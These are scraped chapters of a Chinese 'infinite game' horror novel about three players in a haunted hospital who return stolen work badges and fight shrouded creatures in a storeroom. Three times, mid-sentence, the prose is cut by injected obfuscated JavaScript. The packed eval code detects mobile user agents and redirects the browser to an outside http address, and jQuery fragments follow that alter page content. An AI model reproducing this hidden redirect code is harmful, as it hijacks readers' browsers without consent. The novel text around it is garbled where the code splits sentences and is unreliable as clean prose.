“游戏里不能无故杀人。”童柠气虚地把当初单云轲说的话来阻止她所认为姜渺接下来会做的事情。
“中立守护者可以杀人。”姜渺走到童柠面前,拔起剑,细细地检查了一番剑刺入这石灰地面是否受损。
单云轲在一旁看得心惊肉跳。
虽然他喜闻乐见童柠翻车,但姜渺对他可是零信任值,解决完童柠估计就该来解决他了。
姜渺余光窥着单云轲不断变换的表情,绷着嘴角,但很快她就忍不住笑出声,“但我没想过杀人。”
童柠和单云轲皆是松一口气。
“哎,渺渺,中立守护者的技能是什么啊?”童柠贴过去问。
她能明显感知到姜渺对她没有杀意,而且她对这个上锁的身份牌实在是好奇。
单云轲也好奇,但他更想的是趁这个机会跑走。
他慢慢地挪到姜渺身后,瞅准楼梯口的方向,深呼一口气,准备离开这个是非之地。
姜渺瞥见,又把守护剑掷在他面前,“你要去哪儿?我已经确定要帮正义了,你作为没自保的正义NPC为了保证自己的安全,不应该时刻待在我身边吗?”
可是,他是邪恶阵营的啊。
单云轲内心苦哈哈,面上一点不敢显现出来。
如果他是邪恶阵营的其他身份牌,可能表明对立身份拼死一搏远离她们,这局还能赢,毕竟他线索收集得差不多了,接下来就是想办法让npc归位了。
但他是伪善者,必须让对立阵营误以为他是队友,他才能保持身份,不然被戳穿伪装的他会直接变成NPC。
他不想用积分换道具卡,偷来的不香吗?
单云轲悄悄调出电子屏,又看了一眼。
冰冷的数字“0”是那么的刺眼。
嗯,其实他怀疑姜渺其实早就知晓他和她们并非同一阵营了。
“三个人一起行动太惹眼了。”单云轲脸上挂着风轻云淡的笑,“我手里的道具卡还没用,足够我自保了,你不用担心。”
姜渺还没说什么,童柠就先提出了质疑,“你也是NPC?这游戏里哪来那么多NPC?不会又在骗人吧?”
单云轲面不改色:“我就是NPC啊,你一路见过几个我们阵营的NPC?说不准其中就有一个骗你的。”
“我只知道一个同阵营的NPC,但另一个是你?”童柠昨晚除了和络腮胡男人碰面一起寻找线索以外,没碰到其他人,但被单云轲骗过的经历让她始终对单云轲抱有最大的怀疑。
“就是我。”单云轲一口咬死身份。
姜渺不在意他们的身份,摆摆手,停止他们的争辩,“没关系,中立守护者有一次淘汰他人的机会,如果他反水,那杀了他就好了。”
单云轲:……
他感觉自己的心不跳了。
被迫和正义阵营一起行动也就算了,后面暴露身份还要被杀,哪有他这么倒霉的邪恶阵营?
他总觉得姜渺对他要更不宽容一些。
姜渺都这么说了,童柠也不再揪着这点对单云轲进行抨击了,她坦诚地把自己的真实身份和昨晚的目的都同姜渺说了,“我不是NPC,我是言灵者,目前还有一次言灵机会。昨晚,昨晚是因为我进入游戏后只信任自己的判断,所以一旦我的身份是正义阵营并且本局有守护者,我就会想办法把守护者的血量和我的血量控制在50%,以保证TA在后续都能听从我的判断,而不是和我争辩浪费时间。”
“说得真好听,这不就是独裁吗?而且你怎么能保证你的判断次次正确?”单云轲不敢和拥有“中立守护者”身份牌的姜渺叫板,于是转头把怒气撒在童柠身上。
但奈何童柠也不是个好惹的,朝他翻了个白眼,“你管我?我的死活当然是要掌握在我手里,死于我的判断失误,我心甘情愿。”
姜渺没想到童柠会如此老实地把自己的身份和想法全盘道出,不过想到她手里那张代表着最强的“中立守护者”身份牌,也就没什么好疑惑得了。
“但你也不可能随意浪费血量,昨晚你发现了什么线索?”她问。
谈起这个,童柠的表情一下变得严肃起来,“你们应该都清楚天黑前天黑后的医生病人关系会颠倒,但只有天黑前的医生会给你病历本这件事吧?”
姜渺摇了摇头。
她只陪同天黑后的医生给病人做了检查,后面会发生什么她一概不知,她的时间精力全用来应付那两次反噬作用和一旁分心扰乱她寻找线索的单云轲。
单云轲权衡了一下线索的重要程度,点头应了。
姜渺看向他。
单云轲憋了一会儿,可怜兮兮地给自己辩解,“童柠之前也骗过你,我现在和她一样,是在坦白,不是反水。”
童柠很乐意看他吃瘪,不过现在盘线索逻辑更重要点,所以她只是略微欣赏了一下单云轲的狼狈样,就继续说自己的发现了,“然后我在走完天黑后的剧情,得到办公室的钥匙进入办公室搜查时,发现办公桌的右边抽屉,工作牌下面还有一本病历。那本病历上的病情描述和天黑前医生给我的那本一模一样,两本病历的唯一区别只有上面写着的病人名字,6号办公室里的那本病历上写的是天黑前医生的名字。”
“4号办公室里没有病历,3号办公室里有病历,但两本完全不一样,没有参考价值。”单云轲回忆整合了一下他所得到的线索,说。
童柠不信他:“你没有在撒谎吧?”
姜渺沉吟片刻,肯定了单云轲前半句话:“我当时确实没在4号办公室的办公桌右边抽屉里看到病历,3号我不清楚。”
单云轲气极:“我正好还要回去还工
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686096|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作牌,你们一起,我带你们去看病历总行了吧?白纸黑字,上面写得清清楚楚,你们看了就知道我撒没撒谎了。”
姜渺见逗人逗过了头,安抚他,“没有不信你,我们陪你去还工作牌。”
单云轲彻底没了脾气。
陪他去还工作牌,说得好听,到3号办公室他就不信这两人不看病历。
他算什么伪善啊,姜渺才是真正的伪善,他希望这局游戏结束后再也不要碰到姜渺了。
“下楼。”他酷酷地吐了两个字,也不看身后两个人是什么反应,自顾自地朝3号办公室走。
姜渺唇角牵起一抹浅浅的笑,跟上。
童柠搞不懂两人的互动是怎么回事,只见单云轲是吃了瘪的样子,也高高兴兴地跟在后面下楼。
“单护士,你知道我的工作牌去哪儿了吗?”头发毛躁,眼神阴郁的3号医生在看到单云轲出现在二楼楼梯口时,猛地转过身,快步朝他走来,“工作牌,工作牌,我的工作牌……”
单云轲感受到危险,立即从口袋抽出道具卡挡在身前,但却有人比他更快。
泛着金光的守护剑极富安全感地横在他眼前,把3号医生逼在一米之外的地方,再不能靠近单云轲。
3号医生身体如同被按了暂停键,眼睛却还是死死地盯着单云轲,嘴里不断重复着“是你拿了我的工作牌吗?”这句话。
单云轲头皮发麻,往后退了一步,正巧落入姜渺怀中,被独属于女性的馨香围绕着,一下子平和下来。
姜渺不想听3号医生继续念,把剑锋对准他的喉咙,“我想你现在应该去给病人做检查了。”
“我没有工作牌。”3号医生黏腻阴毒的目光从单云轲脸上移开,在落到姜渺脸上时表情已经恢复正常。
姜渺把剑往前伸了伸,剑锋彻底和3号医生的肌肤相接触,在他最脆弱的地方划出一道血线,“没有工作牌就不能做检查,这好没道理。陈医生又不会因为这件事开除你。”
3号医生眼中露出不甘的神色,但姜渺不断逼近的剑明显告诉他不听话就会死,于是他深深地看了单云轲一眼,离开了。
单云轲劫后余生,扶着斑驳破旧的墙,勉强让自己没有失去最后的体面,“谢谢。”
“《护士守则》里清清楚楚写着不要随意更改办公室物品的布局,我以为你已经处理好后续事情了,结果你竟然如此莽撞。你不把你自己的命当回事,也别把我们带入坑里啊。”童柠在楼梯口处将发生的一切收入眼底,上前确认单云轲并无危险后,忍不住嘲讽道。
单云轲难得没和她针锋相对,焉焉地说:“对不起,因为《护士守则》里写着日常检查在下午,我以为我在日常检查之前把工作牌还回去就行了,没想到这么快就被他发现了。”
“那个,”姜渺打断他们的交谈,从口袋拿出两张工作牌,“宫医生似乎没在找我,我们现在去还还来得及吗?”
走廊里一阵诡异的安静,单云轲和童柠面上皆带着视死如归的平静神情缓慢地看向那两张工作牌。
5. 第五章
“4号那边看起来确实很风平浪静呢。”童柠皮笑肉不笑地说。
单云轲附和地点头,“所以你和姜渺去还工作牌,我在这里等你们。”
童柠瞪他:“你想得美,你的工作牌打算什么时候还?”
单云轲诚实地摇了摇头,“我不知道,我感觉我现在过去,乔医生能把我撕烂。”
姜渺收起工作牌,“他的不急,反正3号医生已经发现工作牌丢失,4号那边可能还没发现,尽早还了应该就不会出现刚才的情况了。”
虽然她不认为宫医生会像3号医生那样对他们。
“或许吧。”单云轲知道还工作牌这一遭躲不过,主动站出来说,“根据刚才乔医生的表现,医生们应该只攻击自己的实习护士,我先去探探情况。你们去这层楼中间凹进去的空地等我。”
姜渺同意了。
单云轲深呼一口气,抬步朝4号病房走去。
4号办公室内,宫医生坐在办公桌后,手里拿着一沓资料,眉头紧锁,像是已经完全进入了专注模式,但单云轲刚从门上的玻璃瞄了一眼,宫医生就立刻朝门走了过来。
好在他反应足够快,在宫医生打开门前就隐入拐角。
“奇怪。”宫医生嘟囔了一声,看着病房喊了一声,“是你吗?”
4号病人温柔的声音从病房内传出,“打扰到你了?你也太不专注了。”
“啧,安心晒你的太阳。等姜渺回来就给你做检查。”宫医生说着,狠狠合上办公室的门。
“暴脾气,我要投诉你。”4号病人小声抱怨完,慢悠悠地回应着他的话,“太阳晒得我骨头都要化掉了,也不知道给我安排别的治疗方案。姜护士学习能力很强的,才不会让你得逞。”
单云轲听着,做出判断。
4号医生目前并没有发现自己工作牌的丢失,但4号医生一直待在办公室里,他们也无从找机会归还工作牌。
难办。
他这么想着,准备回去和姜渺商量对策,却被4号病人小声地喊住,“你是姜护士的朋友吗?”
单云轲顿了顿,把身子贴在4号病房的门上,谨慎地回答:“是。”
“真好,我还以为像姜护士那样不爱说话,一心只执着追求自己理想的人不会在这里交朋友呢。”4号病人柔和地笑着,问,“既然是姜护士的朋友,那我也应该待你好些,你有什么需要我帮忙的吗?”
单云轲犹豫着,斟酌了半天语言,才说:“姜渺有东西落在办公室里了,喊我来取,但宫医生有点凶,我不太敢在他在办公室的时候去取姜渺的东西。”
“这样啊,我很高兴我能帮到你。”4号病人的声音带着雀跃,“你先躲起来。”
单云轲依言继续躲在角落里。
“宫医生。”4号病人喊。
宫医生打开办公室的门,“你又要做什么?”
“太阳真的太晒了,我需要我的帽子。”4号病人说。
“在病房里戴帽子,你是不是有病?”宫医生十分不客气地问。
4号病人柔声笑语:“我本来就有病啊。快去取,我要那顶右边缀着新鲜黄色郁金香的。”
“麻烦死了。”宫医生这么说着,还是上楼去取了。
等脚步声逐渐远去,4号病人才又喊道:“姜护士的朋友,你还在吗?”
单云柯没想到事情会这么顺利,急忙应声:“我在。”
“快去取吧。我的帽子在医院七楼的储物室,他去取要好长一段时间,足够你了。”4号病人说。
单云轲答应着,朝远处的姜渺和童柠做了个手势,示意她们过来,然后压低声音把刚才发生的一切和两人同步。
姜渺不意外会这么轻松,把工作牌物归原位后,让单云轲和4号病人告别,几人再度回到二楼走廊中间的空地处。
她还不能在宫医生和4号病人面前现身。据单云轲所说,宫医生把日常检查的时间提前到在姜渺回来后。她一旦现身,必定要在4号病房里待许久。
单云轲手里还拿着“定时炸弹”,那丢失工作牌的3号医生很可能在见到她离开后会继续追杀拿走工作牌的单云轲。
她并不想见到任何人在她面前死去。
“太顺利了。”童柠还有些不可置信。
“宫医生和安医生都是很好很好的人。”姜渺略过这个话题,“但3号医生一看就不好对付,你的工作牌准备怎么还?”
“像刚才那样引开肯定是不可能了,3号病人也是个极其难缠的家伙。”单云轲头疼地说。
“那就去找陈冠玉。”姜渺拍板决定。
“找他?”童柠反对,“我觉得陈冠玉也不可信。”
姜渺没看过《护士守则》,闻言问她:“《护士守则》上有有关陈冠玉的规则吗?”
童柠回忆了一下,摇头:“没有,他似乎在规则之外。”
“既然没有硬性规则,那他或许就是个突破口。”姜渺说。
童柠还是不赞同:“规则之外的才是最危险的。”
“总要试试。”
姜渺没再和童柠争辩,绕过她上楼。
童柠拧了拧眉,满心烦躁,但他们三人中显然实力最高的姜渺最有话语权,她再怎么不赞同也只能不情不愿地跟上去。
至于单云轲,麻烦是他的,他对谁都不敢有意见,怂怂地缀在两人后面。
六楼陈冠玉办公室门口。
“陈医生在吗?”姜渺敲了敲门,问。
“请进。”陈冠玉温润的声音响起。
姜渺回头看单云轲,“给我工作牌。”
单云轲递给她。
姜渺捏着工作牌推门进去。
“原来是新来的实习护士,有什么事情吗?”陈冠玉抬头,眉眼间含着极易让人信赖的笑意。
姜渺把工作牌放在他办公桌上,“我在医院走廊里捡到了这个,但我不认识这两位医生,还请陈医生交还给他们。”
陈冠玉看了眼工作牌,意味深长地问,“你是真的不清楚这两位医生的办公室在哪儿吗?”
姜渺语气坚定:“我不知道。”
“撒谎的实习护士可是会被开除的。”陈冠玉轻飘飘地笑着说了这么一句话,把一把外形古朴的钥匙推给姜渺,“但念在你是第一次,我会帮你。只不过你也要帮我办件事。这是七楼仓库的钥匙。”
姜渺没接,“我需要做什么?”
“很简单的,只需要把昨晚日常检查时抽的血分类整理一下就好了。但因为我们的保洁人员太懒了,仓库里其实很乱。”陈冠玉面上做出困扰头疼的表情,“所以,仓库里会有一些老鼠,一些生命力很强的老鼠。能打死,把它们从仓库里清扫出去最好了,但如果不能,那你只需要保护好血袋和你自己就好了。”
姜渺思量着这个任务的难度,没动。
陈冠玉见状,身子后仰靠在软绵绵的椅子背上,舒服地眯起眼睛,“这不是请求,你应该知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686097|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道的。当然你也可以选择不做这件事情,相应的,我会开除你。医院外是什么模样,我想你还没见过,那可能是你这辈子最印象深刻的场景。”
翻译过来只有一个字——死。
姜渺不再犹豫,拿起钥匙,转身离开。
陈冠玉在她推开门前一秒又将她喊住:“如果你实在觉得你一个人办不好这件事情,或许你可以喊上你的同伴,比如门外的那两个。”
姜渺一凛,回头深深地看了他一眼。
单云轲和童柠在外面并没有发出任何声响,却还是被他注意到了。
不愧是医院的负责人,实力不容小觑。之后如果有什么需要违背《护士守则》的事情,还是绕着他做吧。
门外,单云轲和童柠已经等待许久,见姜渺安然无恙走出来皆是松一口气。
“先别急着放松,我这儿有一个好消息和一个坏消息,你们要先听哪个?”姜渺带着两人远离办公室后,说。
“好消息。”这是单云轲说的。
“坏消息。”这是童柠说的。
又要吵起来了。
姜渺觉得两人太过幼稚,不想干预,索性闭眼在一旁休息,顺便思考七楼仓库究竟是个什么样的地方。
“你能不能有点居安思危的意识啊?”童柠先行攻击单云轲。
随后单云轲也不甘示弱地回击:“要什么居安思危的意识,及时行乐懂不懂?”
两人这么一来一回地吵了许久,才反应过来姜渺许久没有出声了。
童柠仗着自己是言灵者,以及她现在算是和姜渺绑定着,还算大胆地说:“渺渺,先说一下坏消息吧。”
单云轲最怕姜渺一个不顺心把他砍了,憋屈地让步:“懒得和你计较,反正好消息迟早也要说。”
童柠“切”了一声,姜渺缓缓开口:“违反《护士守则》如果被陈冠玉察觉到,会被他直接开除。”
单云轲摸着下巴,很快就从姜渺的话中找到了破解之法:“也就是说不让陈冠玉察觉到,即使违反《护士守则》也没什么事了?”
姜渺肯定了他的话,接着说好消息,“我拿到了七楼仓库的钥匙。听陈冠玉话中的意思,这里面应该会有重要线索。”
“这是隐藏支线任务。但你这么轻松就拿到七楼仓库的钥匙了?那我昨晚用了一次技能只得到了七楼仓库是存放血袋的地方这一条信息算什么?”童柠声调拔高,十分不可置信地问。
“算你技能多。”运气也很差的单云轲酸溜溜地说。
隐藏支线从来都与他无缘。
姜渺唇角勾起一个不明显的弧度,“好了好了,我们去七楼仓库看看里面到底有什么秘密。”
她把她完不成隐藏支线任务就会被开除一事隐下不提。
单云轲和童柠现在肯乖乖跟着她,完全是因为她手里拿着代表着实力顶峰的“中立守护者”。
倘若要让这两人知道现在有个机会可以把她淘汰,会发生什么不难猜到。
她绝不会让这件事发生。
姜渺看着前方吵吵闹闹的两人,摩挲着手上的手环,调出电子屏。
电子屏上一个标着“绝密”的论坛贴子安安静静地躺在上面。
她点开一楼的楼中楼,手指无意识轻点着那看起来有些惊世骇俗的话语。
【李涛,总说《神明已睁眼》是末世前秘密科研产物外泄,敢不敢大胆一点想,它有没有可能是远超蓝星文明的生命投放到蓝星的呢?】
6. 第六章
回复他的寥寥无几,可能是因为人们觉得已经身陷这吃人的游戏中,再去思考它的来源也并不会让自己多活几天,但被失忆一事困扰许久的姜渺却觉得他说的不无道理,正将她杂乱成一团线的思绪捻出头。
这两天与单云轲童柠相处下来,她能隐约感觉到自己的不合群。
单云轲和童柠聊天时偶尔会提及末世前的蓝星,她一点共鸣都无,甚至因为过分陌生而感到心惊。
姜渺不觉得失忆可以让一个人对之前熟悉的事物完全失去感觉。
那便只有一个可能,她来自别的地方,也或许就是这人帖子所说的远超蓝星文明的地方。
而她失忆后的表现也很蹊跷。
正常人失忆,醒来后情绪多少都会有些不稳,需要时间来完全适应自己失忆这件事,但她当时在游戏大厅醒来的时候丝毫没有任何不适的感觉,甚至能在极短的时间熟悉游戏规则,对自己要进入游戏这件事适应良好。
想来她应该在来到这个地方前就为自己种好了心理暗示,以便她不会出师未捷身先死。
那她到底是抱着什么目的来这个地方的?
姜渺直觉这个问题的答案很是关键,可线索太少了,她刚理清的头绪又乱成一团线。
她烦闷地扯了扯鬓边的碎发。
不管如何,总之在清楚她进入游戏目的前,她不能死。
这是她唯一能给失忆前的她保证的事情了。
“渺渺,钥匙。”
不知不觉中,三人已经站在了仓库面前,童柠摇了摇那把沉重的锁,喊姜渺。
姜渺上前把锁打开,推开仓库的门,一股难闻的气息迫不及待地将三人包裹起来。
“这什么味道?会不会有毒?”童柠率先警惕地退了一步,屏住呼吸。
单云轲比她大胆一些,就站在原地嗅了嗅,猜测道:“有点像什么东西腐烂的味道,应该不会有毒。”
“可能是……它们。”姜渺扫了眼仓库里的大致构造,目光落在正前方。
仓库里齐齐摆放着三排八列病床,上面均盖着一层白布,白布凸起的类人弧度给三人一种很不好的预感。
他们三个对二十四个类人生物,显然是凶多吉少。
往日下游戏副本,即使是重要的主线线索,单云轲和童柠也不会选择以身犯险,而是设计让他人为他们涉险,以便他们坐享其成,更别说这只是个支线任务。
单云轲看向姜渺,委婉地提议:“支线任务也不过是在获胜基础上多二分之一的积分,不值得搏命。”
童柠咽了口唾沫,疯狂地点头:“而且我们可以通过别的渠道辨别医生和病人,没必要蹭支线任务对主线任务的进度加成。”
两人难得站在了同一战线。
姜渺就像双子女家庭里的家长一样,心中莫名升起“孩子长大了终于不打架了”的欣慰感,但很可惜,她不能依着他们来,不然她只有死路一条。
她垂着眼睑,召唤出守护剑去挑离她最近病床上的白布,直接用行动表明自己的态度。
姜渺动作太快,童柠根本来不及防备退出仓库,她暗骂一声姜渺独裁不讲道理,冲到门口想要离开,却只见那两扇沉重的门卡着时间正好在她抵达门口前一秒轰隆隆地合上了。
“打不开了。”她沮丧地说。
单云轲则是眼睁睁地看着姜渺挑开白布后,那类人生物以一个极快的速度下床冲向姜渺,却被比它动作还快的姜渺果断地拦腰斩成两段。
但很显然这样并不代表着那类人生物彻底死亡,他头皮发麻地看着类人生物那两段身体在地上扭动爬行,凑到童柠身边,问,“你不是还有一次言灵机会?”
“支线任务场景内又不能使用言灵,不然完成支线任务那还不是轻轻松松,只要张嘴说几句话就能行了?你怎么连这个都不知道?”童柠没办法离开这个仓库,心中怒气攀升,她又没办法对造成这一切的姜渺发脾气,只能对着单云轲一番宣泄。
单云轲脾气好,听得出童柠话中的意思,也只当没听见,哀怨地看着姜渺拿着守护剑研究那一滩类人生物的背影,“又不是谁都像她一样运气好,我进入游戏这么久,一直反复抽到的只有那几张身份牌,我背都要背下来了。言灵者这么优势的身份牌,我根本没见过好吗?”
这么说着,童柠倒是有些同情单云轲了:“你也太倒霉了。”
单云轲猛吸了一下鼻子,“所以你身上还有没有道具卡?我们总不能在这儿聊天,让姜渺一个人应对那类人生物。”
童柠早已忘却单云轲在还他工作牌时曾拿出过一张道具卡,她从口袋掏出一张道具卡,说:“只有这一张了,能抵御npc五次攻击。”
单云轲看着那张道具卡,眼中羡慕和嫉妒交织:“我怎么就没抽到过这种道具卡?”
“你们过来看。”
单云轲正要怂恿童柠去送死,就被姜渺清冷无波澜的声音打断。
短短十几分钟,那类人生物已经被姜渺戳成了一滩肉泥,但单云轲蹲下细看时却发现那摊肉泥虽然不如被斩成两段时蠕动得厉害,却还是在小幅度朝彼此移动。
“它还能再长回去?”单云轲惊诧道。
姜渺也半蹲下:“不无可能,但现在不能,缺东西。”
童柠不想研究这个类人怪物,扫了一圈仓库,问,“这里是不是有什么暗门?我没看到陈冠玉所说的血袋。”
姜渺点点头:“有,你看左右两边的墙上都有门的痕迹,但如果我没猜错的话,开启暗门的方式和这些病床的摆放方式有关。”
童柠的表情很是难看。
单云轲却察觉到了另一件事:“我们动静这么大,如果这些类人生物有听觉的话,应该早就起身攻击我们了,但这么久都没动静,是不是跟他们身上盖着的白布有关系?喂,你有听觉没?”
说着,他还顺过姜渺剑刃沾满类人生物碎屑的守护剑戳了戳那摊肉泥。
姜渺有些好笑地看着单云轲幼稚的行为,回应他前半句话:“就算没有听觉,这么大动静也早该起来攻击我们了,所以它们的行动一定是受白布所限制的。”
“可是不掀开白布,我们根本没办法判断到底该怎么分类这些病床。”童柠看了眼除了病床侧边上的编号以外其他都一模一样的二十四张病床,说。
“那我们掀开看一看便是。”姜渺风轻云淡地说,“你们动作快不快?”
“快得很,我曾经在一个丧尸副本里被一只丧尸追了五公里。”单云轲边说边迅速掀起两片白布,又在白布下的类人生物即将暴起的前一秒盖回去。
“有发现吗?”童柠的心跟随着单云轲的动作不断起伏,见那两只类人生物终究是没能逃出白布的限制后,问。
单云轲回忆着刚才眼前一闪而过的两只类人生物,比对过他们身上的特征后,说:“他们身上穿的病号服好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686098|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像有所区别,但这个我看不太清,略过。然后就是他们皮肤颜色也不太一样,一只和人类的肤色差不多,而另一只和地上躺着的这只一样皮肤发青。”
童柠也照着单云轲的样子,依照病床上类人生物的肤色将剩下的二十一张病床作了区分,“然后呢?怎么摆放这些病床?”
他们现在是一条绳上的蚂蚱,而姜渺和单云轲的脑子又明显转得比她快,她就懒得思考了。不得不说,不动脑子只粗暴地听从别人命令的感觉真的是很爽啊,她都感觉她这次游戏结束不需要怎么休息就可以进入下一个副本了。
单云轲站远了些,看了下这些病床的初始摆放位置,沉吟片刻,说:“人类肤色和皮肤发青的各占一半的话,左边十二个,右边十二个?第四列和第五列之间的空隙明显要比其他列之间大一些。”
“试试。”姜渺说。
童柠还记得地上那摊肉泥,她嫌弃地指了指,问:“那它怎么办?病床上没有东西也能行吗?”
姜渺诚实地摇头:“不知道。”
单云轲懒得瞻前顾后考虑那么多,推着病床把它们分类排好,“先别管它。喏,开了。没它也行,废物一个。”
肉泥闻言大幅度地移动了一下,似乎要把单云轲包裹进它的身体的。
单云轲被吓一大跳,躲开到肉泥碰不到的地方:“都成肉泥了,还想害人。”
姜渺拍了拍他的胳膊,提醒他:“别逗它了,它复原了,你免不了要吃亏。”
单云轲不当回事,双手交叠托在脑后,进了离他最近的一间密室:“你刚才不是说了缺东西吗?他复原不了。”
姜渺摇摇头,暂且把自己的发现按下不提。
唔,好期待他一会儿的表情。
“渺渺你来看,这边有贴着‘4号’标签的血袋,还是两个!”童柠围绕着那一堆杂乱在摆在实验台上的血袋,小心翼翼地捏着边看上面的标签。
姜渺走过去扫了一眼,肯定地说:“左边的是宫医生的,右边的是安医生的。宫医生血袋上的标签是我贴的,安医生血袋上的标签是宫医生贴的,但我当时格外注意了一眼,不会有错。”
“是吗?”童柠没质疑姜渺的判断,转而去找贴着“6号”标签的血袋,却只找到一个血袋,“贴着‘6号’标签的血袋只有一个,还是我初步判断为医生的那人的血袋。单云轲你呢?”
单云轲站在两人身后,作假不了血袋,知道现在瞒着已经没意义,闭了闭眼,以一种绝望的语调陈述着他负责的“3号”的情况:“不用找了。如果这边都是医生的血袋的话,那这里不会有贴着‘3’号标签的血袋。”
童柠咂舌:“不是吧?你这么倒霉?那你是不是也不知道医生NPC对实习护士没有攻击性?”
单云轲缓缓将视线移向她,就差把“你说呢?”这三个字写在脸上了。
姜渺莫名觉得这样的单云轲很可爱,抬手捏了他脸一下,装作什么事都没发生地说:“血袋应该是要按照编号对应放在实验台一旁的架子上的,你们把这边的整理一下。我去那边找地上那摊肉泥所在病床对应的血袋,帮他复原。”
单云轲本来还在思考她的动作是什么意思,转而就被这句话给惊到了:“为什么要给它复原?让它在地上躺着不好吗?”
姜渺回首,唇边勾起一抹浅笑,理所当然地说:“因为我们还要出去啊。你还记得仓库的门是什么时候关上的吗?”
7. 第七章
“是那个类人生物从病床上跳下来的时候。”单云轲捏了捏鼻尖,期翼地看着姜渺,“但你一定能保护我们三个人毫发无伤的吧?”
“不保证。”姜渺收了笑,无情地说。
那滩肉泥见把它砍成这样的姜渺不准备保护单云轲,立即耀武扬威地朝单云轲移动。
“你怎么这么无情?”单云轲看它一眼都觉得掉san,也没管姜渺同意不同意,哀嚎着干净利落地躲在姜渺身后,寻求庇护。
肉泥所认定的食物和它畏惧的气息混在一起,它一时有些不清楚自己该攻击还是后退,好久之后它才试探地朝那边移动了几下,但姜渺随即召唤出守护剑,安静地摩挲着剑身。
肉泥无法,只能窝囊地选择装死,假装自己没有看到单云轲。
单云轲见状,仿佛吃软饭的小白脸找到靠山一样,在姜渺看不见的地方一个劲地对肉泥做鬼脸。
肉泥气得身上每一块碎屑都在疯狂蠕动,却碍于单云轲身前的姜渺,一分怒火也不敢发作。
姜渺哪能不知道单云轲在自己身后做什么,朝后伸手,拍了拍他的肩:“好了别玩了,你往远躲。童柠拿到血袋没?你负责往它身上倒血,不用担心会受伤,我会在它复原后,以最快的速度用剑把它控住,不让它乱跑。”
“嗯哼,血袋准备就绪。”一旁的童柠边欣赏着单云轲和那滩肉泥的爱恨情仇,边按姜渺的指示,在右边的暗室里寻到了肉泥病床所对应的血袋。
单云轲纠结几秒,迅速躲到仓库门附近。
他一靠近那滩肉泥,那滩肉泥攻击性就会增强,这虽然是个陷害姜渺和童柠的好机会,但把姜渺害死了,他也得完。
还是另找机会吧。
单云轲捏着口袋里的道具卡,沉默地看着不远处正有条不紊化解肉泥复原后的类人生物疯狂攻击的姜渺。
明明已经知晓姜渺并不像初见时他所以为的那么无害,可他还是下不了手,不能像往常下副本时对阻碍自己胜利的人一样对她毫不留情。
这到底是为什么呢?他什么时候变得如此优柔寡断了?
姜渺不清楚单云轲的心理活动,和那类人生物交手好几回才终于引着它上了病床,她专注地持着剑将类人生物钉进床板,喊一旁紧张盯着战况的童柠:“快用白布把它盖住!”
柔顺的白布完全覆盖类人生物,类人生物前一秒还在挣扎的四肢在接触到白布时仿佛被抽取掉所有的骨头,瞬间和其他类人生物一般安静地躺在病床上。
与此同时,仓库的大门缓缓开启。
姜渺收起剑,与仓库外等候已久的几人正好对上了目光。
她迟疑了片刻,落后于单云轲和童柠一步。
他们应该没看到她的剑吧?
“一,二,三,人还不少。”几人中一看就是担任领导者角色的黑衣男子意味不明地出声,“你们完成支线任务了?”
单云轲认出眼前这人是邪恶阵营的一张还算不错的身份牌,但单云轲不喜欢他像恶霸一样明抢的行事作风,于是没说话。
童柠倒是没和黑衣男子撞上过,不清楚他属于哪方阵营,但看样子应该是属于与她对立的阵营,秉持着少说少错的原则,她也没有出声。
姜渺则是不清楚支线任务算不算已经完成,她思量着他们在仓库里获得的信息,然后又偷看了一眼电子屏。
邮箱里没有新邮件,那他们应该是还没有完全完成支线任务。
姜渺正准备开口,就被误解他们三人的黑衣男子打断了,他轻哼一声,“算你们运气好,但我也不缺那点积分。只不过支线任务附赠的重要主线线索是不是得给我们分享一下?毕竟见者有份。我们本来都要进去了,不知道你们其中哪个触发门的机关,把门关上了。”
童柠没忍住,骂了他一句“不要脸”。
瞎话!她在仓库门要关的时候已经冲到门口了,怎么没见着门口有人?而且连进都没进来,算哪门子的见者有份?
姜渺窥着黑衣男子猛地沉下去,又猛地舒展开的表情,给童柠上了个防护罩,然后给童柠比了个手势,轻微地摇了摇头。
童柠以为姜渺有应对的法子,强忍着百八十句吐槽的话,让姜渺与他对话。
“我给你主线线索的话,你能放我们离开吗?”姜渺问。
童柠对姜渺下意识的注视和准备阻止又收回的手让黑衣男子以为面前没什么表情的女孩才是他们之间的领导者,可姜渺妥协的话语又让他觉得自己多虑了。
姜渺处事风格太软了,不像是能做单云轲和童柠领导者的人。如果这两人是自愿让姜渺领导的,那他可真要觉得单云轲和童柠是全天底下最好笑的两个笑话了。
